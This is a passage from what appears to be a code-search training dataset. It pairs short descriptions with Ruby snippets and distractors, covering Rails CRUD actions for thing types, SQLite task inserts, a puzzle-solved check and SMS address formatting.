query
stringlengths 7
9.5k
| document
stringlengths 10
1.07M
| negatives
listlengths 19
19
| metadata
dict |
---|---|---|---|
GET /thing_types GET /thing_types.json
|
def index
@thing_types = ThingType.all
end
|
[
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def retrieve_entity_types()\n start.uri('/api/entity/type')\n .get()\n .go()\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def index\n @clothing_types = ClothingType.all\n end",
"def index\n @resource_types = ResourceType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def types\n types = JSON.parse(connection.get(\"/Contact/Types\").body )\n end",
"def get_resource_types\n Occi::Log.debug(\"Getting resource types ...\")\n collection = @model.get Occi::Core::Resource.kind\n collection.kinds.collect { |kind| kind.term }\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def index\n @spell_types = SpellType.all\n\n render json: @spell_types\n end",
"def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end",
"def index\n @item_types = ItemType.all\n\n render json: @item_types\n end",
"def types\n get(\"/project/types\")[\"types\"]\n end",
"def index\n @entry_types = EntryType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entry_types }\n end\n end",
"def index\n @vehicle_types = VehicleType.all\n\n render json: @vehicle_types\n end",
"def index\n @item_types = ItemType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @item_types }\n end\n end",
"def get_lesson_types\n get \"lessonTypes.json\"\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def index\n @type_resources = TypeResource.all\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /thing_types POST /thing_types.json
|
def create
@thing_type = ThingType.new(thing_type_params)
respond_to do |format|
if @thing_type.save
format.html { redirect_to @thing_type, notice: 'Thing type was successfully created.' }
format.json { render :show, status: :created, location: @thing_type }
else
format.html { render :new }
format.json { render json: @thing_type.errors, status: :unprocessable_entity }
end
end
end
|
[
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def add_dummy_type\n params[:data] ||= {}\n params[:data][:type] = resource_klass._type.to_s\n end",
"def create\n @clothing_type = ClothingType.new(clothing_type_params)\n\n respond_to do |format|\n if @clothing_type.save\n format.html { redirect_to @clothing_type, notice: 'Clothing type was successfully created.' }\n format.json { render :show, status: :created, location: @clothing_type }\n else\n format.html { render :new }\n format.json { render json: @clothing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @spell_type = SpellType.new(spell_type_params)\n\n if @spell_type.save\n render json: @spell_type, status: :created, location: @spell_type\n else\n render json: @spell_type.errors, status: :unprocessable_entity\n end\n end",
"def create_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end",
"def normalize_create_types(params)\n type_ids = []\n\n params[:types].split(/\\s*,\\s*/).uniq.each{ |type_name|\n nf = Type.i18n_name_field\n tn = ActiveRecord::Base.connection.quote(ActionController::Base.helpers.sanitize(type_name))\n t = Type.where(\"(COALESCE(#{nf}, name) || CASE WHEN scientific_name IS NULL THEN '' ELSE ' ['||scientific_name||']' END)=#{tn}\")\n\n # if it's not found, make it a pending type\n if t.nil? or t.empty?\n t = Type.new\n t.name = type_name\n t.pending = true # this is database default, but setting here just in case\n t.category_mask = params[:c].blank? ? array_to_mask([\"forager\"],Type::Categories) :\n array_to_mask(params[:c].split(/,/),Type::Categories)\n t.save\n else\n t = t.first\n end\n type_ids.push t.id\n } if params[:types].present?\n\n logger.debug params[:location][:type_ids]\n\n if params[:location].present? and params[:location][:type_ids].present?\n v = []\n if params[:location][:type_ids].kind_of? Hash\n v = params[:location][:type_ids].values.map{ |x| x.to_i }\n elsif params[:location][:type_ids].kind_of? Array\n v = params[:location][:type_ids].map{ |x| x.to_i }\n else\n # if we couldn't get it in a reasonable format, delete it\n params[:location].delete(:type_ids)\n end\n logger.debug Type.ids\n logger.debug v\n type_ids += (v & Type.ids) if v.length > 0\n end\n\n logger.debug \"TYPES!\"\n logger.debug type_ids\n type_ids\n end",
"def create\n @word_type = WordType.new(params[:word_type])\n\n respond_to do |format|\n if @word_type.save\n format.html { redirect_to word_types_path, notice: 'El nuevo tipo de palabra se creo satisfactoriamente.' }\n format.json { render json: word_types_path, status: :created, location: @word_type }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully created.' }\n format.json { render json: @realty_type, status: :created, location: @realty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @thing_types = ThingType.all\n end",
"def create\n @type_truck = TypeTruck.new(type_truck_params)\n\n if @type_truck.save\n render json: @type_truck, status: :created\n else\n render json: @type_truck.errors, status: :unprocessable_entity\n end\n end",
"def create\n @observation_type = ObservationType.new(params[:observation_type])\n\n respond_to do |format|\n if @observation_type.save\n format.html { redirect_to @observation_type, notice: 'Observation type was successfully created.' }\n format.json { render json: @observation_type, status: :created, location: @observation_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @observation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @novelty_type = NoveltyType.new(novelty_type_params)\n\n respond_to do |format|\n if @novelty_type.save\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully created.' }\n format.json { render :show, status: :created, location: @novelty_type }\n else\n format.html { render :new }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n json_create(factType_params, FactType)\n end",
"def create\n @animal_type = AnimalType.new(animal_type_params)\n\n respond_to do |format|\n if @animal_type.save\n format.html { redirect_to @animal_type, notice: 'Animal type was successfully created.' }\n format.json { render :show, status: :created, location: @animal_type }\n else\n format.html { render :new }\n format.json { render json: @animal_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @valid_type = ValidType.new(valid_type_params)\n @valid_type.typed = true\n\n respond_to do |format|\n if @valid_type.save\n format.html { redirect_to valid_types_path, notice: 'Entity Type was successfully created.' }\n format.json { render :show, status: :created, location: @valid_type }\n else\n format.html { render :new }\n format.js { render :new }\n format.json { render json: @valid_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @widget_type = WidgetType.new(params[:widget_type])\n\n respond_to do |format|\n if @widget_type.save\n format.html { redirect_to @widget_type, notice: 'Widget type was successfully created.' }\n format.json { render json: @widget_type, status: :created, location: @widget_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @widget_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_type = ItemType.new(item_type_params)\n\n if @item_type.save\n render json: @item_type, status: :created, location: @item_type\n else\n render json: @item_type.errors, status: :unprocessable_entity\n end\n end",
"def post(rectype,attribs,http)\r\n endpoint=\"#{URL_PREFIX}/t#{rectype}s.json\"\r\n req = Net::HTTP::Post.new(endpoint,initheader = {'Content-Type' =>'application/json'})\r\n req.body = attribs.to_json\r\n http.request(req)\r\nend",
"def create\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type = EntryType.new(params[:entry_type])\n @entry_type.field_type_ids = field_type_ids\n @entry_type.form_code = build_form_code(@entry_type.field_types)\n @entry_type.model_code = build_model_code(@entry_type.name, @entry_type.field_types)\n @entry_type.model = build_model_from_code(@entry_type)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully created.' }\n format.json { render json: @entry_type, status: :created, location: @entry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /thing_types/1 PATCH/PUT /thing_types/1.json
|
def update
respond_to do |format|
if @thing_type.update(thing_type_params)
format.html { redirect_to @thing_type, notice: 'Thing type was successfully updated.' }
format.json { render :show, status: :ok, location: @thing_type }
else
format.html { render :edit }
format.json { render json: @thing_type.errors, status: :unprocessable_entity }
end
end
end
|
[
"def patch_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end",
"def update\n respond_to do |format|\n if @clothing_type.update(clothing_type_params)\n format.html { redirect_to @clothing_type, notice: 'Clothing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_type }\n else\n format.html { render :edit }\n format.json { render json: @clothing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @thing_type1 = ThingType1.find(params[:id])\n\n respond_to do |format|\n if @thing_type1.update_attributes(params[:thing_type1])\n flash[:notice] = 'ThingType1 was successfully updated.'\n format.html { redirect_to(@thing_type1) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing_type1.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch_type.update(patch_type_params)\n format.html { redirect_to admin_patch_types_path, notice: 'Patch type was successfully updated.' }\n format.json { render :index, status: :ok, location: @patch_type }\n else\n format.html { render :edit }\n format.json { render json: @patch_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @beverage = Beverage.find(params[:id])\n\n respond_to do |format|\n if @beverage.update_attributes(params[:beverage])\n #monkey patch for changing type\n type = params[params[:type].downcase.to_sym][:type]\n if(type .present?)\n @beverage.type = type\n @beverage.save\n end\n format.html { redirect_to @beverage, notice: t(\"beverages.beverage_updated\")}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @beverage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to types_path, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end",
"def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to things_path, notice: 'Your thing was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n json_update(factType,factType_params, FactType)\n end",
"def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to @type, notice: 'Type was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @thing_type2 = ThingType2.find(params[:id])\n\n respond_to do |format|\n if @thing_type2.update_attributes(params[:thing_type2])\n flash[:notice] = 'ThingType2 was successfully updated.'\n format.html { redirect_to(@thing_type2) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing_type2.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spec_type.update(spec_type_params)\n format.html { redirect_to @spec_type, notice: 'Spec type was successfully updated.' }\n format.json { render :show, status: :ok, location: @spec_type }\n else\n format.html { render :edit }\n format.json { render json: @spec_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fake_thing = FakeThing.find(params[:id])\n\n respond_to do |format|\n if @fake_thing.update_attributes(params[:fake_thing])\n format.html { redirect_to @fake_thing, notice: 'Fake thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fake_thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fictional_thing.update(fictional_thing_params)\n format.html { redirect_to @fictional_thing, notice: 'Fictional thing was successfully updated.' }\n format.json { render :show, status: :ok, location: @fictional_thing }\n else\n format.html { render :edit }\n format.json { render json: @fictional_thing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @thingy = Thingy.find(params[:id])\n\n respond_to do |format|\n if @thingy.update_attributes(params[:thingy])\n format.html { redirect_to @thingy, notice: 'Thingy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thingy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @special_needs_type = SpecialNeedsType.find(params[:id])\n\n respond_to do |format|\n if @special_needs_type.update_attributes(params[:special_needs_type])\n format.html { redirect_to @special_needs_type, :notice => 'Tipo de necessidade especial atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @special_needs_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @novelty_type.update(novelty_type_params)\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully updated.' }\n format.json { render :show, status: :ok, location: @novelty_type }\n else\n format.html { render :edit }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model_type = ModelType.find(params[:id])\n\n respond_to do |format|\n if @model_type.update_attributes(params[:model_type])\n format.html { redirect_to @model_type, notice: 'Model type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /thing_types/1 DELETE /thing_types/1.json
|
def destroy
@thing_type.destroy
respond_to do |format|
format.html { redirect_to thing_types_url, notice: 'Thing type was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @thing_type1 = ThingType1.find(params[:id])\n @thing_type1.destroy\n\n respond_to do |format|\n format.html { redirect_to(thing_type1s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @clothing_type.destroy\n respond_to do |format|\n format.html { redirect_to clothing_types_url, notice: 'Clothing type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to realty_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thing = Thing.find(params[:id])\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to things_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @verb_type = VerbType.find(params[:id])\n @verb_type.destroy\n\n respond_to do |format|\n format.html { redirect_to verb_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thing = Thing.find(params[:id])\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to things_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ot_type = OtType.find(params[:id])\n @ot_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ot_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @thing_type2 = ThingType2.find(params[:id])\n @thing_type2.destroy\n\n respond_to do |format|\n format.html { redirect_to(thing_type2s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @attraction_big_type.destroy\r\n respond_to do |format|\r\n format.html { redirect_to attraction_big_types_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @bowtype.destroy\n respond_to do |format|\n format.html { redirect_to bowtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @girltype = Girltype.find(params[:id])\n @girltype.destroy\n\n respond_to do |format|\n format.html { redirect_to girltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thingy = Thingy.find(params[:id])\n @thingy.destroy\n\n respond_to do |format|\n format.html { redirect_to thingies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dishtype.destroy\n respond_to do |format|\n format.html { redirect_to dishtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bath_type.destroy\n respond_to do |format|\n format.html { redirect_to bath_types_url, notice: 'Bath type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @t_type.destroy\n respond_to do |format|\n format.html { redirect_to t_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage_entry_type.destroy!\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @fake_thing = FakeThing.find(params[:id])\n @fake_thing.destroy\n\n respond_to do |format|\n format.html { redirect_to fake_things_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_truck.destroy\n render json: @type_truck, status: :ok \n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
add a test db.execute("INSERT INTO tasks (task, due_date, completed) VALUES ('pay bills again', '9/4/17', 'false')")
|
def create_task (db, task, due_date, completed)
db.execute("INSERT INTO tasks (task, due_date, completed) VALUES (?, ?, ?)", [task, due_date, completed])
end
|
[
"def create_task(db,date,start_time,end_time,location,description)\n db.execute(\"INSERT INTO planner (date,start_time,end_time,location,description) VALUES (?,?,?,?,?)\", [date,start_time,end_time,location,description])\nend",
"def add_item(db, new_item, new_date)\n db.execute(\"INSERT INTO todolist (item, date, done) VALUES (?, ?, ?)\", [new_item, new_date, \"false\"])\nend",
"def list_maker(db, task, time)\r\n\t# db.execute(create_table_cmd)\r\n\tdb.execute(\"INSERT INTO todolist (task, time_left_days) VALUES (?, ?)\", [task, time])\r\nend",
"def insert_schedule(db, went_day, hours_spend, inspirational_quote)\n db.execute(\"INSERT INTO schedule (went_day, hours_spend, inspirational_quote) VALUES (?, ?, ?)\", [went_day, hours_spend, inspirational_quote])\nend",
"def create_project_workflow(db, project_id, projman_id)\n db.execute('INSERT INTO project_workflow (project_id, projman_id, thirty_comp, sixty_comp, ninety_comp, hundred_comp) VALUES (?, ?, \"false\", \"false\", \"false\", \"false\")', [project_id, projman_id])\nend",
"def add_run_entry(db, distance, run_time, condition)\n db.execute(\"INSERT INTO runs (run_date, distance, run_time, condition) VALUES (datetime('now'), ?, ?, ?)\", [distance, run_time, condition])\nend",
"def add_food(db, food, calories)\n\tdb.execute(\"INSERT INTO daily_food (food, calories) VALUES (?, ?)\", [food, calories])\nend",
"def create_vacation(db, vacationName, destination, timeOut)\r\n db.execute(\"INSERT INTO summer_vacation (vacationName, destination, timeOut) VALUES (?, ?, ?)\", [vacationName, destination, timeOut])\r\nend",
"def create_workouts(db, day, body_part, dumbbell_req, minutes)\n db.execute(\"INSERT INTO workouts (day, body_part, dumbbell_req, minutes) VALUES (?, ?, ?, ?)\", [day, body_part, dumbbell_req, minutes])\nend",
"def add_food(db, name, calories)\n db.execute(\"INSERT INTO foods (name, calories) VALUES (?, ?)\", [name, calories])\nend",
"def make_task_due(title, description, done=false, due_date)\n taskdue = Task.new\n taskdue.title = title\n taskdue.description = description\n taskdue.done = done\n taskdue.due_date = due_date\n taskdue.save\nend",
"def create_entry(db, item, amount)\n db.execute(\"INSERT INTO list (item, amount) VALUES (?, ?)\", [item, amount])\nend",
"def add_expense(database, expense_name, dollars_spent, expense_date, expense_category)\n database.execute(\"INSERT INTO moneys (expense_name, dollars_spent, expense_date, expense_category) VALUES (?, ?, ?, ?)\", [expense_name, dollars_spent, expense_date, expense_category])\nend",
"def create_bboard(db, name, task, importance)\n db.execute(\"INSERT INTO bboard (name, task, importance) VALUES (?, ?, ?)\", [name, task, importance])\nend",
"def add_chores(db, name, complete_by_day)\r\n\tdb.execute(\"INSERT INTO chores (name, complete_by_day, family_id) VALUES (?, ?, 0)\", [name, complete_by_day])\r\nend",
"def add_run(db, distance, duration)\n db.execute(\"INSERT INTO runs (distance, duration) VALUES (?, ?)\", [distance, duration])\nend",
"def run(db,name,address,distance)\r\n\tdb.execute(\"INSERT INTO running(name,address,distance) VALUES(?,?,?)\",[name,address,distance])\r\nend",
"def create_new_hero(db, name, age, specialty, turing_award)\r\n db.execute(\"INSERT INTO tech_heroes(name, age, specialty, turing_award) VALUES (?, ?, ?, ?)\", [name, age, specialty, turing_award])\r\nend",
"def create(db, name, price, game_dev, cib, is_new)\r\n db.execute(\"INSERT INTO games (name, price, game_dev, cib, is_new) \r\n VALUES (?, ?, ?, ?, ?)\", [name, price, game_dev, cib, is_new])\r\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
check if puzzle solved.
|
def solved?
# pour toutes les pièces
(0..8).each { |i|
# la case est encore vide : solved = false
return false if @cases[i] == nil
# sinon, est-ce que les pièces matchent entre elles.
return false if not self.match?(i)
}
# sinon, ca match partout : le puzzle est rΓ©solu (solved) !
return true
end
|
[
"def solved?(board)\n return true if solve(board)\n false\nend",
"def solved?\n # Return whether the total passed in is equal to the total for a valid house.\n def is_valid_house_total?(total)\n return total == 45\n end\n\n # Return the total of adding up all the cells in this house.\n def house_total(house)\n return house.inject(0) {|sum, cell| sum + cell.to_i }\n end\n\n ## Check whether all the houses in the puzzle have valid totals.\n ##\n\n each_row do |row|\n return false unless is_valid_house_total?(house_total(row))\n end\n\n each_column do |column|\n return false unless is_valid_house_total?(house_total(column))\n end\n\n each_nonet do |nonet|\n return false unless is_valid_house_total?(house_total(nonet))\n end\n end",
"def solved?\n return false unless @board[-1][-1] == 0\n @board == goal_state\n end",
"def solved?\n return @squares.size == 13\n end",
"def solved?\n @state == @goal\n end",
"def solve\n begin\n find_all_candidates \n execute_strategy\n end while @single_candidates_found > 0 && @puzzle.solved? == false\n\n if !@puzzle.solved?\n puts \"could not solve\"\n puts \"assigned #{@total_values_assigned}\"\n end\n\n puts @puzzle.to_s\n end",
"def solve\n\n # If the puzzle is solved, we're done.\n if solved?\n return true\n end\n\n # If not, select the next empty cell.\n unknown = unsolvedCells.first\n\n # If it has no possible values, the puzzle is inconsistent. \n if unknown.possibleValues.empty?\n # We made a mistake and have to backtrack.\n return false\n end\n\n # Try every possible value.\n unknown.possibleValues.shuffle.each do |value|\n unknown.value = value\n if solve() == true\n return true\n else\n unknown.value = 0\n end\n end\n\n # If none of the possible values worked, we made a mistake even further back\n # and have to backtrack more.\n return false\n end",
"def has_solution?\n !solution.nil?\n end",
"def check_puzzle(puzzle, board=Nil)\n solver = PuzzleSolver.new(puzzle)\n answer = solver.solve\n stack = solver.stack\n\n if answer.nil?\n return -1\n end\n if !board.nil? && !board_matches(board, answer)\n return -1\n end\n difficulty = stack.length\n state, second = PuzzleSolver.new(board, stack).solve_next # TODO CLEANUP\n if !second.nil?\n return -1\n end\n\n difficulty\n end",
"def solved?\n peg_count = 0\n\n @board.each do |row|\n row.each do |square|\n peg_count += 1 if square == \"x\"\n return false if peg_count > 1\n end\n end\n\n true\n end",
"def check_solution\n violations = 0\n @board.each_with_index do |row, row_index|\n row.each_with_index do |n, column_index|\n violations += check_violations([row_index, column_index]) if @board[row_index][column_index] == 1\n end\n end\n violations == 0 ? true : false\n end",
"def solved?(board)\n row_solve?(board) && column_solve?(board)\nend",
"def puzzle_is_valid(puzzle)\n puzzle.length == 81\nend",
"def solved?\n\t\tall? { |cell| cell.number }\n\tend",
"def board_solved?\r\n # Check that all the cells are filled with values\r\n #\r\n (0 .. 8).each do |row|\r\n (0 .. 8).each do |col|\r\n return false unless board[row][col] > 0\r\n end\r\n end\r\n \r\n # Check column constraints\r\n #\r\n @board.each do |column|\r\n return false unless column.uniq.size == 9\r\n end\r\n \r\n # Check row constraints\r\n #\r\n @board.transpose.each do |column|\r\n return false unless column.uniq.size == 9\r\n end\r\n \r\n # Check box constraints\r\n #\r\n (0 .. 2).each do |box_x|\r\n (0 .. 2).each do |box_y|\r\n box_vals = []\r\n \r\n (0 .. 2).each do |i|\r\n (0 .. 2).each do |j|\r\n box_vals << @board[3 * box_x + i][3 * box_y + j]\r\n end\r\n end\r\n \r\n return false unless box_vals.uniq.size == 9\r\n end\r\n end\r\n \r\n true\r\n end",
"def failed?\n solutions.empty?\n end",
"def solved?\n\t\t\tself == @word\n\t\tend",
"def complete?(params)\n if @puzzle.complete?\n if @puzzle.to_s == @solution.to_s\n return JSON.generate({complete: true, accurate: true})\n else\n return JSON.generate({complete: true, accurate: false})\n end\n else\n return JSON.generate({complete: false, accurate: false})\n end\n end",
"def solved?\n return true if @free_point == nil\n return false\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
This method formats the TO address to include the provider.
|
def formatted_to
"#{to}@#{Base.gateways[@provider][:sms]}" rescue raise "Invalid provider"
end
|
[
"def format_address( address )\n return address.to_str if address.respond_to? :to_str\n address.join(\"\\nA\")\n end",
"def mailing_address\n return unless @user.loa3?\n\n dig_out('addresses', 'address_pou', VAProfile::Models::Address::CORRESPONDENCE)\n end",
"def to_s\n u = uri\n u = u.gsub(/^mailto: */i, '')\n\n if cn.length > 0\n \"#{cn.inspect} <#{uri}>\"\n else\n uri\n end\n end",
"def to_url\n scheme =\n case phone_number_type\n when 'phone' then 'tel'\n when 'mobile' then 'tel'\n when 'fax' then 'fax'\n when 'email' then 'mailto'\n end\n\n return unless scheme\n\n \"#{scheme}:#{number}\"\n end",
"def set_ToAddress(value)\n set_input(\"ToAddress\", value)\n end",
"def addr_fmt venue\n location = venue['location'] || {}\n contact = venue['contact'] || {}\n\n s = ''\n\n addr = location['address']\n s += escapeHTML(addr) + '<br>' if addr\n\n cross = location['crossStreet']\n s += \"(#{escapeHTML cross})<br>\" if cross\n \n city = location['city'] || ''\n state = location['state'] || ''\n zip = location['postalCode'] || ''\n country = location['country'] || ''\n\n if city != '' or state != '' or zip != '' or country != ''\n s += \"#{escapeHTML city}, #{escapeHTML state} #{escapeHTML zip} #{escapeHTML country}<br>\"\n end\n\n phone = contact['phone'] || ''\n formattedPhone = contact['formattedPhone']\n phoneStr = if formattedPhone\n formattedPhone\n elsif phone.size > 6\n \"(#{phone[0..2]})#{phone[3..5]}-#{phone[6..-1]}\"\n else\n nil\n end\n if phone != '' and phoneStr\n s += \"<a href=\\\"tel:#{escapeURI phone}\\\">#{escapeHTML phoneStr}</a><br>\"\n end\n\n # Discard invalid characters.\n twitter = (contact['twitter'] || '').gsub(/[^a-zA-Z0-9_]/, '')\n if twitter != ''\n s += \"<a href=\\\"http://mobile.twitter.com/#{escapeURI twitter}\\\">@#{escapeHTML twitter}</a><br>\"\n end\n\n s\nend",
"def formatted_address\n a = []\n a << self.street_address + \"<br />\"\n a << self.city_name + \", \"\n a << self.state + \" \"\n a << self.zip\n\n return a.compact.join(\"\").to_s.html_safe\n end",
"def sponsorship_mailto(conference)\n [\n 'mailto:',\n conference.contact.sponsor_email,\n '?subject=',\n url_encode(conference.short_title),\n '%20Sponsorship'\n ].join\n end",
"def format_address(address, city, state, zip)\n address + \"<br />\" + city + \", \" + state + \" \" + zip.to_s\n end",
"def address_full\n \"#{self.address.titleize}, Toronto, ON\"\n end",
"def short_formatted_address\n [self.street_number, self.route].select(&:present?).join(' ')\n end",
"def join( opts )\n if opts.is_a?( Hash )\n options = opts\n options[:street_delimiter] ||= options[:delimiter]\n elsif opts.is_a?( String )\n options = {}\n options[:street_delimiter] = options[:delimiter] = opts\n options[:country] = false\n end\n\n to_return = \"#{self.street( options[:street_delimiter] )}#{options[:delimiter]}#{self.city}, #{self.state_or_province} #{self.zip_code}\"\n return options[:country] ? to_return + \"#{options[:delimiter]}#{self.country}\" : to_return\n end",
"def format_phone_number(phone_number)\n phone_number.sms_email_address\n end",
"def replace_to(new_addr='{{ to.address }}')\n replace(@to.address,new_addr)\n end",
"def to_uri_format(to_format)\n return to_format.gsub(/\\W/, \"+\").gsub(/[+]+/, \"+\").force_encoding('UTF-8')\n end",
"def render_contact_email_address(address)\n mail_to address, sanitize(address).gsub(/([@.])/, '\\1<wbr />').html_safe\n end",
"def to_addresses\n emails = interest_addresses.concat(focus_addresses)\n if emails.empty?\n emails << 'info@unglobalcompact.org'\n end\n emails.uniq\n end",
"def mailing_address\n value = format_address(user_data['mailing_address'])\n\n set_text('Mailing address:', 285)\n set_text(value, 285, 'value')\n end",
"def review_phone_label\n $tracer.trace(__method__)\n return ToolTag.new(address.className(create_ats_regex_string(\"addr-phonenumber\")), __method__)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
This method sanitizes the message body.
|
def sanitized_message
message.to_s[0,140]
end
|
[
"def sanitize_body\n end",
